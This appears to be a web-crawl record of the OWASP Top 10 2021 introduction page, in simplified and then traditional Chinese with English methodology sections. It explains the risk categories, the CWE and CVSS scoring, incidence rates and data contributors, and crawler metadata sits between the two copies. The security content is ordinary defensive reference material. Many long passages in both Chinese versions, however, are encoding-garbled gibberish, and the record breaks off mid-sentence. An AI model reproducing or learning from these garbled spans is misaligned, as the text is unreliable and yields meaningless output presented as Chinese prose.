在验测资料中出现的次数为弱点问题的第二高。跨站脚本攻击现在在新版本属于这个类別。\n\n**A04:2021-不安全设计** 这是 2021 年版本的新类別,并特別聚焦在设计相关的缺陷。如果我们真的希望让整个产业\"向左移动\"*注一*,那我们必须进一步的往威胁建模,安全设计模块的观念,和安全參考架构前进。\n\n*注一: Move Left 于英文原文中代表在软件开发及交付过程中,在早期找出及处理相关问题,同 Shift Left Testing。*\n\n**A05:2021-安全设定缺陷** 从上一版本的第六名移动上來。90% 被测试的应用程式都有验测到某种类別的安全设定缺陷。在更多的软件往更高度和有弹性的设定移动,我们并不意外这个类別的问题往上移动。在前版本中的 XML 外部实体注入攻击 XML External Entities)现在属于这个类別。\n\n**A06:2021-危险或过旧的组件** ĺœ¨äš‹ĺ‰ć ‡é˘˜ä¸ş *使用有已知弱点的组件*。在本次版本中于业界问卷中排名第二,但也有足够的统计资料让它可以进入 Top 10。这个类別从 2017 版本的第九名爬升到第六,也是我们持续挣扎做测试和评估风险的类別。这也是唯一一个沒有任何 CVE 能被对应到 CWE 內的类別,所以预设的威胁及影响权重在这类別的分数上被预设为 5.0。\n\n**A07:2021-认证及验证机制失效** ĺœ¨äš‹ĺ‰ć ‡é˘˜ä¸ş *错误的认证机制*。在本次版本中由第二名下滑至此,并同时包含了将认证相关缺失的 CWE 包含在內。这个类別仍是 Top 10 ä¸ĺŻçźşĺ°‘çš„ä¸€çŽŻďźŒä˝†ĺŒć—śäšŸćœ‰ĺ‘çŽ°çŽ°ĺœ¨ć ‡ĺ‡†ĺŒ–çš„ćžśćž„ćœ‰ĺĺŠŠé™ä˝ŽćŹĄéŁŽé™Šĺ‘ç”ŸćœşçŽ‡ă€‚\n\n**A08:2021-软件及资料完整性失效** 这是 2021 年版本全新的类別,并在软件更新,敏感及重要资料,和 CI/CD 管道中并沒有做完整性的确认为前提做假设并进行评估。在评估中影响权重最高分的 CVE/CVSS 资料都与这类別中的 10 个 CWE 对应到。2017 年版本中不安全的反序列化现在被合并至此类別。\n\n**A09:2021-安全记录及监控失效** 在之前为*不完整的记录及监控*并纳入在业界问卷中在本次列名为第三名并从之前的第十名上移。这个类別将扩充去纳入更多相关的缺失,但这也是相当难去验证,并沒有相当多的 CVE/CVSS 资料可以佐证。但是在这个类別中的缺失会直接影响到整体安全的可视性,事件告警及取证。\n\n**A10:2021-服务器端请求伪é€** čż™ä¸ŞçąťĺˆĽć˜Żĺœ¨ä¸šç•Œé—ŽĺˇćŽ’ĺçŹŹä¸€ĺďźŒĺšśĺœ¨ć­¤ç‰ˆćœŹĺ…§çşłĺ…Ľă€‚ç”ąčľ„ć–™ć˜žç¤şć­¤é—Žé˘˜ćœ‰čžƒä˝Žč˘ŤéŞŒćľ‹ćŹĄć•°ĺ’ŒčŒƒĺ›´ďźŒä˝†ćœ‰éŤ˜äşŽĺšłĺ‡çš„ĺ¨čƒĺŠĺ˝ąĺ“ćƒé‡ćŻ”çŽ‡ă€‚čż™ä¸ŞçąťĺˆĽçš„ĺ‡şçŽ°äšŸć˜Żĺ› ä¸şä¸šç•Œä¸“ĺŽśé‡ĺ¤ç”łć˜Žčż™çąťĺˆĽçš„é—Žé˘˜ç›¸ĺ˝“é‡čŚďźŒĺłä˝żĺœ¨ćœŹćŹĄčľ„ć–™ä¸­ĺšść˛’ćœ‰čśłĺ¤Ÿçš„čľ„ć–™ĺŽťć˜žç¤şčż™ä¸Şé—Žé˘˜ă€‚\n\n## 分析方法\n\n本次 Top 10 çš„é€‰ć‹Šć–šĺźćŻ”äťĽĺž€ć›´é‡č§†čľ„ć–™ĺˆ†ćžďźŒä˝†ĺšśä¸ć˜ŻĺŽŒĺ…¨äťĽčľ„ć–™ĺˆ†ćžä¸şä¸ťă€‚ćˆ‘äťŹäťŽčľ„ć–™ĺˆ†ćžä¸­ćŒ‘é€‰äş†ĺ…Ťä¸ŞéŁŽé™ŠçąťĺˆĽďźŒç„śĺŽç”ąä¸šç•Œé—Žĺˇä¸­ćŒ‘é€‰ä¸¤ä¸ŞéŁŽé™ŠçąťĺˆĽă€‚ćˆ‘äťŹäťŽčż‡ĺž€çš„ĺˆ†äşŤčľ„ć–™ä¸­ĺŽťäş†č§ŁďźŒĺšśćœ‰ćˆ‘äťŹä¸€ä¸ŞĺŸşćœŹçš„ç†ç”ąă€‚ĺŽŸĺ› ć˜Żć‰€ćœ‰çš„čľ„ĺŽ‰ç ”çŠśäşşĺ‘˜éƒ˝ä¸ć–­çš„ĺœ¨ć‰žć–°çš„ĺźąç‚šĺšść‰žĺ‡şć–šćł•ĺŽťéŞŒčŻĺźąç‚šďźŒä˝†äźšéœ€čŚć—śé—´ć‰čƒ˝ĺ°†čż™äş›éŞŒćľ‹ć–šćł•çşłĺ…Ľĺˆ°ć—˘ćœ‰çš„ĺˇĽĺ…ˇĺ’Œćľ‹čŻ•ćľç¨‹ä¸­ă€‚ĺ˝“ćˆ‘äťŹčƒ˝ćœ‰ć•ˆçš„ĺ¤§é‡ćľ‹čŻ•čż™ä¸Şĺźąç‚šć—śďźŒćœ‰ĺŻčƒ˝ĺˇ˛çťčż‡äş†ĺ¤šĺš´çš„ć—śé—´ă€‚ä¸şäş†čŚčŽŠä¸¤č€…äš‹é—´ćœ‰ĺšłčĄĄďźŒćˆ‘äťŹä˝żç”¨ä¸šç•Œé—ŽĺˇčŻˇć•™ĺœ¨ĺ‰çşżçš„čľ„ĺŽ‰ç ”çŠśä¸“ĺŽśäťŹĺšśäş†č§Łäť–äťŹč§‰ĺž—ćœ‰ĺ“Şäş›ć˜Żäť–äťŹč§‰ĺž—ä¸Ľé‡ä˝†ĺ°šćœŞĺ‡şçŽ°ĺœ¨ćľ‹čŻ•čľ„ć–™ä¸­çš„ćźć´žĺŠé—Žé˘˜ă€‚\n\nčż™ć˜Żĺ‡ ä¸Şćˆ‘äťŹä¸şäş†čŚčŽŠ OWASP Top 10 ć›´ĺŠ ćˆç†Ÿçš„é‡čŚć”šĺ˜ă€‚\n\n### 如何建构风险类別\n\n有別于上一个版本,在这次的 OWASP Top 10 有一些风险类別的修改。我们在此以比较高的角度说明一下这次的类別修改。\n\n在上一次的资料收集当中,我们将资料收集的重心放在预先定义好的约 30 个 CWEs 并纳入一个领域以求其他的发现。从这里我们看到绝大多数的组织都只会专注在这 30 个 CWEs č€Œä¸ĺ¸¸ĺŠ ĺ…Ľĺ…śäť–äť–äťŹĺŻčƒ˝ĺ‘çŽ°çš„ CWEs。在这次的改版中,我们将所有的问题都以开放式的方法处理,并沒有限制在任何一个 CWEs。我们请教了从 2017 年开始所测试的网页应用程式数量,然后在这些程式中至少有一个 CWE č˘Ťĺ‘çŽ°çš„ć•°é‡ă€‚čż™ä¸Şć źĺźčŽŠćˆ‘äťŹčƒ˝ĺ¤Ÿčż˝č¸ŞćŻä¸Ş CWE 跟所有被验测及统计的应用程式的数量跟关系。我们也忽略了 CWE 出现的频率,虽然在某些状况下这也许是必须的,但这却隐藏了风险类別本身与应用程式数量整体的关系。所以一个应用程式有 4 个或是 4,000 个弱点并不是被计算在 Top 10 的基础。但同时我们也从原本的 30 多个 CWEs 增长到快 400 多个 CWEs ĺŽťčż›čĄŒĺˆ†ćžă€‚ćˆ‘äťŹĺ› ć­¤äšŸčŽĄĺˆ’ćœŞäž†ĺšć›´ĺ¤šçš„čľ„ć–™ĺˆ†ćžďźŒĺšśĺœ¨ĺŻšć­¤ç‰ˆćœŹčż›čĄŒčĄĽĺ……čŻ´ć˜Žă€‚č€Œčż™äş›ĺ˘žĺŠ çš„ CWEs 也同时影响了这次风险类別的规划。\n\nćˆ‘äťŹčŠąäş†ĺĽ˝ĺ‡ ä¸Şćœˆĺ°† CWEs 进行分组跟分类,而且其实可以一直花更多时间去做这件事情。但我们必须在某一个时间点停住。在 CWEs 当中,同时有 *ć šćœŹĺŽŸĺ›* 以及 *症状* 的问题,而像是 \"ĺŠ ĺŻ†ćœşĺˆśĺ¤ąć•ˆ\" 和 \"设定问题\" 这类型的 *原ĺ›* 与 \"敏感资料外泄\" 和 \"阻断服务\" 这类型的 *症状* ć˜ŻĺŻšçŤ‹çš„ă€‚ĺ› ć­¤ćˆ‘äťŹĺ†łĺŽšĺœ¨ĺŻäťĽçš„ć—śĺ€™čŚć›´ä¸“ćł¨äşŽĺş•ĺą‚çš„ĺŽŸĺ› ďźŒĺ› ä¸şčż™ć˜ŻĺŻäťĽćœ‰ć•ˆćŒ‡ĺ‡şé—Žé˘˜çš„ćœŹä˝“čˇŸĺŒć—śćäž›é—Žé˘˜çš„č§Łĺ†łĺ¤§ć–šĺ‘ă€‚ä¸“ćł¨ĺœ¨é—Žé˘˜ć ¸ĺżƒč€Œä¸ĺ°†é‡ĺżƒć”žĺœ¨ç—‡çŠśĺšśä¸ć˜Żä¸€ä¸Şć–°çš„ćŚ‚ĺżľ \b\b,Top Ten ćœ‰ĺ˛äťĽäž†ä¸€ç›´ć˜Żç—‡çŠśčˇŸé—Žé˘˜ć ¸ĺżƒçš„çśœĺˆä˝“ďźŒĺŞć˜Żčż™ćŹĄćˆ‘äťŹć›´ĺˆťć„çš„ĺ°†äť–çŞć˜žĺ‡şäž†ă€‚ĺœ¨čż™ćŹĄçš„ć–°ç‰ˆćœŹä¸­ďźŒćŻä¸€ä¸ŞçąťĺˆĽĺ…§çš„ĺšłĺ‡ćœ‰ 19.6 个 CWE,而最低的 *A10:2021-服务器端请求伪é€* 有一个 CWE 到 *A04:2021-不安全设计* 有四十个 CWEă€‚čż™ä¸Şć–°çš„çąťĺˆĽćžśćž„čƒ˝ćäž›äźä¸šć›´ĺ¤šçš„čľ„ĺŽ‰čŽ­çťƒçš„ĺĽ˝ĺ¤„ďźŒĺ› ä¸şĺœ¨ć–°çš„ćžśćž„ä¸‹ĺŻäťĽć›´ä¸“ćł¨ĺœ¨ćŸä¸ŞčŻ­çłťćˆ–ĺšłĺ°ä¸Šçš„ CWE。\n\n### 选择类別时资料的使用方式\n\n在 2017 年,我们用事件发生次数去判断可能发生的机率去选择类別,然后透过一群在业界拥有数十年经验的专家团对讨论并依照 *可发生性*,*可发现性(同可能性)*,和 *技术影响力* 去做排名。在 2021 年,我们希望如果可以的话用资料证明可发生性和技术影响性。\n\n我们下载了 OWASP Depndency Check 并取出了 CVSS 漏洞,并将相关的 CWE ç”¨ĺ˝ąĺ“ĺŠ›ĺˆ†ć•°ĺˆ†çž¤ă€‚čż™čŠąäş†ä¸€äş›ć—śé—´ĺ’ŒĺŠ›ć°”ĺŽťç ”çŠśĺ› ä¸şć‰€ćœ‰çš„ CVEs 都有 CVSSv2 ĺˆ†ć•°ďźŒä˝†ć˜Żĺœ¨ĺ…śä¸­ĺ› ä¸ş CVSSv2 莟 CVSSv3 之间有一些缺失是必须被修正的。经过了一段时间后,所有的 CVEs 都会有对应的 CVSSv3 的分数。再者,分数的范围和计算的公式在 CVSSv2 和 CVSSv3 之间也做了更新。\n\n在 CVSSv2 中,漏洞和影响力两者都可达到 10.0 ĺˆ†ďźŒä˝†ć˜Żĺ…ŹĺźćœŹčşŤäźšĺ°†ä¸¤č€…č°ƒć•´ä¸şćźć´žĺ 60%ďźŒç„śĺŽĺ˝ąĺ“ĺŠ›ĺ 40%。在 CVSSv3 中,理论上的最高值将漏洞限制在 6.0 分而影响力在 4.0 分。当考率到权重比率时,影响力的分数会偏高,在 CVSSv3 ä¸­ĺ‡ äšŽĺšłĺ‡äźšĺ¤šĺ‡ş 1.5 分,而漏洞分数却会平均少 0.5 分。\n\n从 OWASP Dependcy Check çż ĺ–ĺ‡şçš„ NVD 资料当中有将近 12.5 万笔 CVE 资料有对应到 CWE,而有 241 笔独特的 CWEs 有对应到 CVE。6.2 万笔 CWE 有对应到 CVSSv3 分数,所以大约是整体资料中一半的部分。\n\n而在 Top Ten,我们计算漏洞和影响力的平均分数的方式如下。我们将所有有 CVSS 分数的 CVE 依照 CWE 分组,然后依照有 CVSSv3 çš„ćźć´žĺ’Œĺ˝ąĺ“ĺŠ›ĺœ¨ć‰€ćœ‰čľ„ć–™ä¸­çš„ç™žĺˆ†ćŻ”ä˝œćƒé‡ďźŒĺœ¨ĺŠ ä¸Ščľ„ć–™ä¸­ćœ‰ CVSSv2 的资料去做平均。我们将这些平均后的 CWEs 对应到资料中,然后将他的漏洞和引想力分数使用在另一半的风险公式中。\n\n## 为什么就不纯粹做统计分析?\n\nčż™äş›čľ„ć–™çš„çľćžœćœ€ä¸ťčŚć˜Żč˘Ťé™ĺˆśĺœ¨čƒ˝ä˝żç”¨č‡ŞĺŠ¨ĺˇĽĺ…ˇćľ‹čŻ•ĺ‡şäž†çš„çľćžœă€‚ĺŻć˜Żĺ˝“ä˝ čˇŸä¸€ä˝ćœ‰çťéŞŒçš„ĺş”ç”¨ç¨‹ĺźĺŽ‰ĺ…¨ä¸“ĺŽśčŠçš„ć—śĺ€™ďźŒäť–äťŹäźščˇŸä˝ čŻ´çťĺ¤§ĺ¤šć•°äť–äťŹć‰žĺˆ°çš„é—Žé˘˜éƒ˝ä¸ĺœ¨čż™äş›čľ„ć–™é‡Œé˘ă€‚ĺŽŸĺ› ć˜Żä¸€ä¸Şćľ‹čŻ•čŚč˘Ťč‡ŞĺŠ¨ĺŒ–çš„ć—śĺ€™ďźŒéœ€čŚčŠąć—śé—´ĺŽťĺź€ĺ‘čż™äş›ĺźąç‚šćľ‹čŻ•çš„ć–šćł•čŽşďźŒĺ˝“ä˝ éœ€čŚĺ°†čż™ä¸Şćľ‹čŻ•č‡ŞĺŠ¨ĺŒ–ĺšśčƒ˝ĺŻšĺ¤§é‡çš„ĺş”ç”¨ç¨‹ĺźĺŽťéŞŒčŻć—śďźŒĺˆäźščŠąä¸Šć›´ĺ¤šçš„ć—śé—´ă€‚ĺ˝“ćˆ‘äťŹĺ›žĺ¤´çœ‹ĺŽťĺš´ćˆ–äťĽĺ‰ćœ‰ĺŻčƒ˝ć˛’ĺ‡şçŽ°çš„ä¸€äş›é—Žé˘˜çš„čś‹ĺŠżďźŒćˆ‘äťŹĺ‘çŽ°ĺ…śĺŽžéƒ˝ć˛’ćœ‰ĺœ¨čż™äş›čľ„ć–™ĺ˝“ä¸­ă€‚\n\nĺ› ć­¤ďźŒç”ąäşŽčľ„ć–™ä¸ĺŽŒĺ…¨çš„ĺ…łçłťďźŒćˆ‘äťŹĺŞćœ‰äťŽčľ„ć–™ä¸­é€‰ĺ‡ş 8 个类別,而并不是 10 个。剩下的两个类別是从业界问卷中所选出的。这会允许在前线的參与者去选出他们认为的高风险,而不是纯粹依据资料去判断(甚至可能资料永远都不会有出现的踪跡)。\n\n## 为什么用事故率而不是用发生次数\n\nThere are three primary sources of data. We identify them as\nHuman-assisted Tooling (HaT), Tool-assisted Human (TaH), and raw\nTooling.\n\nTooling and HaT are high-frequency finding generators. Tools will look\nfor specific vulnerabilities and tirelessly attempt to find every\ninstance of that vulnerability and will generate high finding counts for\nsome vulnerability types. Look at Cross-Site Scripting, which is\ntypically one of two flavors: it's either a more minor, isolated mistake\nor a systemic issue. When it's a systemic issue, the finding counts can\nbe in the thousands for an application. This high frequency drowns out\nmost other vulnerabilities found in reports or data.\n\nTaH, on the other hand, will find a broader range of vulnerability types\nbut at a much lower frequency due to time constraints. When humans test\nan application and see something like Cross-Site Scripting, they will\ntypically find three or four instances and stop. They can determine a\nsystemic finding and write it up with a recommendation to fix on an\napplication-wide scale. There is no need (or time) to find every\ninstance.\n\nSuppose we take these two distinct data sets and try to merge them on\nfrequency. In that case, the Tooling and HaT data will drown the more\naccurate (but broad) TaH data and is a good part of why something like\nCross-Site Scripting has been so highly ranked in many lists when the\nimpact is generally low to moderate. It's because of the sheer volume of\nfindings. (Cross-Site Scripting is also reasonably easy to test for, so\nthere are many more tests for it as well).\n\nIn 2017, we introduced using incidence rate instead to take a fresh look\nat the data and cleanly merge Tooling and HaT data with TaH data. The\nincidence rate asks what percentage of the application population had at\nleast one instance of a vulnerability type. We don't care if it was\none-off or systemic. That's irrelevant for our purposes; we just need to\nknow how many applications had at least one instance, which helps\nprovide a clearer view of the testing is findings across multiple\ntesting types without drowning the data in high-frequency results.\n\n## What is your data collection and analysis process?\n\nWe formalized the OWASP Top 10 data collection process at the Open\nSecurity Summit in 2017. OWASP Top 10 leaders and the community spent\ntwo days working out formalizing a transparent data collection process.\nThe 2021 edition is the second time we have used this methodology.\n\nWe publish a call for data through social media channels available to\nus, both project and OWASP. On the [OWASP Project\npage](https://owasp.org/www-project-top-ten/#div-data_2020), we list the\ndata elements and structure we are looking for and how to submit them.\nIn the [GitHub\nproject](https://github.com/OWASP/Top10/tree/master/2021/Data), we have\nexample files that serve as templates. We work with organizations as\nneeded to help figure out the structure and mapping to CWEs.\n\nWe get data from organizations that are testing vendors by trade, bug\nbounty vendors, and organizations that contribute internal testing data.\nOnce we have the data, we load it together and run a fundamental\nanalysis of what CWEs map to risk categories. There is overlap between\nsome CWEs, and others are very closely related (ex. Cryptographic\nvulnerabilities). Any decisions related to the raw data submitted are\ndocumented and published to be open and transparent with how we\nnormalized the data.\n\nWe look at the eight categories with the highest incidence rates for\ninclusion in the Top 10. We also look at the industry survey results to\nsee which ones may already be present in the data. The top two votes\nthat aren't already present in the data will be selected for the other\ntwo places in the Top 10. Once all ten were selected, we applied\ngeneralized factors for exploitability and impact; to help rank the Top\n10 in order.\n\n## Data Factors\n\nThere are data factors that are listed for each of the Top 10\nCategories, here is what they mean:\n\n- *CWEs Mapped*: The number of CWEs mapped to a category by the Top 10\n team.\n- *Incidence Rate*: Incidence rate is the percentage of applications\n vulnerable to that CWE from the population tested by that org for\n that year.\n- (Testing) *Coverage*: The percentage of applications tested by all\n organizations for a given CWE.\n- *Weighted Exploit*: The Exploit sub-score from CVSSv2 and CVSSv3\n scores assigned to CVEs mapped to CWEs, normalized, and placed on a\n 10pt scale.\n- *Weighted Impact*: The Impact sub-score from CVSSv2 and CVSSv3\n scores assigned to CVEs mapped to CWEs, normalized, and placed on a\n 10pt scale.\n- *Total Occurrences*: Total number of applications found to have the\n CWEs mapped to a category.\n- *Total CVEs*: Total number of CVEs in the NVD DB that were mapped to\n the CWEs mapped to a category.\n\n## Category Relationships from 2017\n\nThere has been a lot of talk about the overlap between the Top Ten\nrisks. By the definition of each (list of CWEs included), there really\nisn't any overlap. However, conceptually, there can be overlap or\ninteractions based on the higher-level naming. Venn diagrams are many\ntimes used to show overlap like this.\n\nThe Venn diagram above represents the interactions between the Top Ten\n2017 risk categories. While doing so, a couple of essential points\nbecame obvious:\n\n1. One could argue that Cross-Site Scripting ultimately belongs within\n Injection as it's essentially Content Injection. Looking at the 2021\n data, it became even more evident that XSS needed to move into\n Injection.\n2. The overlap is only in one direction. We will often classify a\n vulnerability by the end manifestation or \"symptom,\" not the\n (potentially deep) root cause. For instance, \"Sensitive Data\n Exposure\" may have been the result of a \"Security Misconfiguration\";\n however, you won't see it in the other direction. As a result,\n arrows are drawn in the interaction zones to indicate which\n direction it occurs.\n3. Sometimes these diagrams are drawn with everything in *A06:2021\n Using Components with Known Vulnerabilities*. While some of these\n risk categories may be the root cause of third-party\n vulnerabilities, they are generally managed differently and with\n different responsibilities. The other types are typically\n representing first-party risks.\n\n# Thank you to our data contributors\n\nThe following organizations (along with some anonymous donors) kindly\ndonated data for over 500,000 applications to make this the largest and\nmost comprehensive application security data set. Without you, this\nwould not be possible.\n\n| | | | |\n| --- | --- | --- | --- |\n| AppSec Labs | GitLab | Micro Focus | Sqreen |\n| Cobalt.io | HackerOne | PenTest-Tools | Veracode |\n| Contrast Security | HCL Technologies | Probely | WhiteHat (NTT) |\n\n## Thank you to our sponsors\n\nThe OWASP Top 10 2021 team gratefully acknowledge the financial support of Secure Code Warrior and Just Eat.", "znaku_textu": 17145, "slov": 1553, "odkazu": 46, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:54:46", "sha256": "b092d29c8a719c364b43b1d7e4f032b0ac8dd025aa6c473995089b222cf36063", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://github.com/OWASP/Top10/tree/master/2021/Data", "https://securecodewarrior.com/", "https://www.just-eat.co.uk/", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2021/zh-TW/", "titulek": "Welcome Page - OWASP Top 10:2021", "h1": "OWASP Top 10 2021 介紹", "popis": "OWASP Top 10:2021", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2021/zh-TW/", "jazyk": "zh-TW", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP Top 10 2021 介紹"}, {"uroven": 2, "text": "Top 10 for 2021 有什麼新的變化?"}, {"uroven": 2, "text": "分析方法"}, {"uroven": 3, "text": "如何建構風險類別"}, {"uroven": 3, "text": "選擇類別時資料的使用方式"}, {"uroven": 2, "text": "為什麼就不純粹做統計分析?"}, {"uroven": 2, "text": "為什麼用事故率而不是用發生次數"}, {"uroven": 2, "text": "What is your data collection and analysis process?"}, {"uroven": 2, "text": "Data Factors"}, {"uroven": 2, "text": "Category Relationships from 2017"}, {"uroven": 1, "text": "Thank you to our data contributors"}, {"uroven": 2, "text": "Thank you to our sponsors"}], "markdown": "# OWASP Top 10 2021 介紹\n\n歡迎來到最新版本的 OWASP Top 10! OWASP Top 10 2021 ć˜Żä¸€ĺ€‹ĺ…¨ć–°çš„ĺĺ–ŽďźŒĺŒ…ĺŤäş†ä˝ ĺŻäťĽĺˆ—ĺ°ä¸‹äž†çš„ć–°ĺœ–ç¤şčŞŞć˜ŽďźŒč‹Ľćœ‰éœ€čŚçš„čŠąďźŒä˝ ĺŻäťĽĺžžćˆ‘ĺ€‘çš„çś˛é ä¸Šé˘ä¸‹čź‰ă€‚\n\nĺœ¨ć­¤ćˆ‘ĺ€‘ćƒłĺ°ć‰€ćœ‰č˛˘çťäş†äť–ĺ€‘ć™‚é–“ĺ’Œčł‡ć–™çš„äşşçľŚäşˆä¸€ĺ€‹ćĽľĺ¤§çš„ć„ŸčŹă€‚ć˛’ćœ‰ä˝ ĺ€‘ďźŒé€™ä¸€ĺ€‹ć–°ç‰ˆćœŹć˜Żä¸ćœƒĺ‡şçžçš„ă€‚**謝謝**。\n\n## Top 10 for 2021 有什麼新的變化?\n\n這次在 OWASP Top 10 for 2021 有三個全新的分類,有四個分類有做名稱和範圍的修正,並有將一些類別做合併。\n\n**A01:2021-權限控制失效** 從第五名移上來; 94% 被測試的應用程式都有驗測到某種類別權限控制失效的問題。在權限控制失效這個類別中被對應到的 34 個 CWEs 在驗測資料中出現的次數都高於其他的弱點類別。\n\n**A02:2021-ĺŠ ĺŻ†ćŠŸĺˆśĺ¤ąć•ˆ** 提升一名到第二名,在之前為 *敏感資料外曝*ďźŒĺœ¨ć­¤ĺŽšçžŠä¸‹ćŻ”čźƒéĄžäźźć–źä¸€ĺ€‹ĺťŁćł›çš„ĺ•éĄŒč€Œéžć šćœŹĺŽŸĺ› ă€‚ĺœ¨ć­¤é‡ć–°ĺŽšçžŠä¸Śĺ°‡ĺ•éĄŒć ¸ĺżƒĺŽšçžŠĺœ¨ĺŠ ĺŻ†ćŠŸĺˆśçš„ĺ¤ąć•—ďźŒä¸Śĺ› ć­¤é€ ćˆć•ć„Ÿć€§čł‡ć–™ĺ¤–ć´Šćˆ–ć˜Żçłťçľąč˘Ťç ´ĺŁžă€‚\n\n**A03:2021-注入式攻擊** 下滑到第三名。94% 被測試的應用程式都有驗測到某種類別注入式攻擊的問題。在注入式攻擊這個類別中被對應到的 33 個 CWEs 在驗測資料中出現的次數為弱點問題的第二高。跨站腳本攻擊現在在新版本屬於這個類別。\n\n**A04:2021-不安全設計** 這是 2021 年版本的新類別,並特別針注在與設計相關的缺失。如果我們真的希望讓整個產業\"向左移動\"ďźŠč¨ťä¸€ďźŠďźŒé‚Łćˆ‘ĺ€‘ĺż…é ˆé€˛ä¸€ć­Ľçš„ĺž€ĺ¨č„…ĺťşć¨ĄďźŒĺŽ‰ĺ…¨č¨­č¨ˆć¨ĄĺĄŠçš„č§€ĺżľďźŒĺ’ŒĺŽ‰ĺ…¨ĺƒč€ƒćžść§‹ĺ‰é€˛ă€‚\n\n*註一: Move Left 於英文原文中代表在軟體開發及交付過程中,在早期找出及處理相關問題,同 Shift Left Testing。*\n\n**A05:2021-安全設定缺陷** 從上一版本的第六名移動上來。90% 被測試的應用程式都有驗測到某種類別的安全設定缺陷。在更多的軟體往更高度和有彈性的設定移動,我們並不意外這個類別的問題往上移動。在前版本中的 XML 外部實體注入攻擊 XML External Entities)現在屬於這個類別。\n\n**A06:2021-危險或過舊的元件** 在之前標題為 *使用有已知弱點的元件*ă€‚ĺœ¨ćœŹćŹĄç‰ˆćœŹä¸­ć–źćĽ­ç•Œĺ•ĺˇä¸­ćŽ’ĺçŹŹäşŒďźŒä˝†äšŸćœ‰čśłĺ¤ çš„çľąč¨ˆčł‡ć–™čŽ“ĺŽƒĺŻäťĽé€˛ĺ…Ľ Top 10。這個類別從 2017 版本的第九名爬升到第六,也是我們持續掙扎做測試和評估風險的類別。這也是唯一一個沒有任何 CVE 能被對應到 CWE ĺ…§çš„éĄžĺˆĽďźŒć‰€äťĽé č¨­çš„ĺ¨č„…ĺŠĺ˝ąéŸżćŹŠé‡ĺœ¨é€™éĄžĺˆĽçš„ĺˆ†ć•¸ä¸Šč˘Ťé č¨­ç‚ş 5.0。\n\n**A07:2021-認證及驗證機制失效** 在之前標題為 *錯誤的認證機制*。在本次版本中油第二名下滑至此,並同時包含了將認證相關缺失的 CWE 包含在內。這個類別仍是 Top 10 不可缺少的一環,但同時也有發現現在標準化的架構有協助降低次風險發生機率。\n\n**A08:2021-軟體及資料完整性失效** 這是 2021 年版本全新的類別,並在軟體更新,機敏及重要資料,和 CI/CD 管道中並沒有做完整性的確認為前提做假設並進行評估。在評估中影響權重最高分的 CVE/CVSS 資料都與這類別中的 10 個 CWE 對應到。2017 年版本中不安全的反序列化現在被合併至此類別。\n\n**A09:2021-資安記錄及監控失效** 在之前為*不完整的紀錄及監控*並納入在業界問卷中在本次列名為第三名並從之前的第十名上移。這個類別將擴充去納入更多相關的缺失,但這也是相當難去驗證,並沒有相當多的 CVE/CVSS 資料可以佐證。但是在這個類別中的缺失會直接影響到整體安全的可視性,事件告警及鑑識。\n\n**A10:2021-伺服端請求偽é€** é€™ĺ€‹éĄžĺˆĽć˜Żĺœ¨ćĽ­ç•Œĺ•ĺˇćŽ’ĺçŹŹä¸€ĺďźŒä¸Śĺœ¨ć­¤ç‰ˆćœŹĺ…§ç´ĺ…Ľă€‚ç”ąčł‡ć–™éĄŻç¤şć­¤ĺ•éĄŒćœ‰čźƒä˝Žč˘ŤéŠ—ć¸ŹćŹĄć•¸ĺ’ŒçŻ„ĺœďźŒä˝†ćœ‰éŤ˜ć–źĺšłĺ‡çš„ĺ¨č„…ĺŠĺ˝ąéŸżćŹŠé‡ćŻ”çŽ‡ă€‚é€™ĺ€‹éĄžĺˆĽçš„ĺ‡şçžäšŸć˜Żĺ› ç‚şćĽ­ç•Œĺ°ˆĺŽśé‡č¤‡ç”łć˜Žé€™éĄžĺˆĽçš„ĺ•éĄŒç›¸ç•śé‡čŚďźŒĺłä˝żĺœ¨ćœŹćŹĄčł‡ć–™ä¸­ä¸Ść˛’ćœ‰čśłĺ¤ çš„čł‡ć–™ĺŽťéĄŻç¤şé€™ĺ€‹ĺ•éĄŒă€‚\n\n## 分析方法\n\n本次 Top 10 çš„é¸ć“‡ć–šĺźćŻ”äťĽĺž€ć›´é‡čŚ–čł‡ć–™ĺˆ†ćžďźŒä˝†ä¸Śä¸ć˜ŻĺŽŒĺ…¨äťĽčł‡ć–™ĺˆ†ćžç‚şä¸ťă€‚ćˆ‘ĺ€‘ĺžžčł‡ć–™ĺˆ†ćžä¸­ćŒ‘é¸äş†ĺ…Ťĺ€‹é˘¨éšŞéĄžĺˆĽďźŒç„śĺžŒç”ąćĽ­ç•Œĺ•ĺˇä¸­ćŒ‘é¸ĺ…Šĺ€‹é˘¨éšŞéĄžĺˆĽă€‚ćˆ‘ĺ€‘ĺžžéŽĺž€çš„ĺˆ†äşŤčł‡ć–™ä¸­ĺŽťçž­č§ŁďźŒä¸Śćœ‰ćˆ‘ĺ€‘ä¸€ĺ€‹ĺŸşćœŹçš„ç†ç”ąă€‚ĺŽŸĺ› ć˜Żć‰€ćœ‰çš„čł‡ĺŽ‰ç ”çŠśäşşĺ“Ąéƒ˝ä¸ć–ˇçš„ĺœ¨ć‰žć–°çš„ĺźąéťžä¸Ść‰žĺ‡şć–šćł•ĺŽťéŠ—č­‰ĺźąéťžďźŒä˝†ćœƒéœ€čŚć™‚é–“ć‰čƒ˝ĺ°‡é€™äş›éŠ—ć¸Źć–šćł•ç´ĺ…Ľĺˆ°ć—˘ćœ‰çš„ĺˇĽĺ…ˇĺ’Œć¸ŹčŠŚćľç¨‹ä¸­ă€‚ç•śćˆ‘ĺ€‘čƒ˝ćœ‰ć•ˆçš„ĺ¤§é‡ć¸ŹčŠŚé€™ĺ€‹ĺźąéťžć™‚ďźŒćœ‰ĺŻčƒ˝ĺˇ˛çś“éŽäş†ĺ¤šĺš´çš„ć™‚é–“ă€‚ç‚şäş†čŚčŽ“ĺ…Šč€…äš‹é–“ćœ‰ĺšłčĄĄďźŒćˆ‘ĺ€‘ä˝żç”¨ćĽ­ç•Œĺ•ĺˇčŤ‹ć•™ĺœ¨ĺ‰çˇšçš„čł‡ĺŽ‰ç 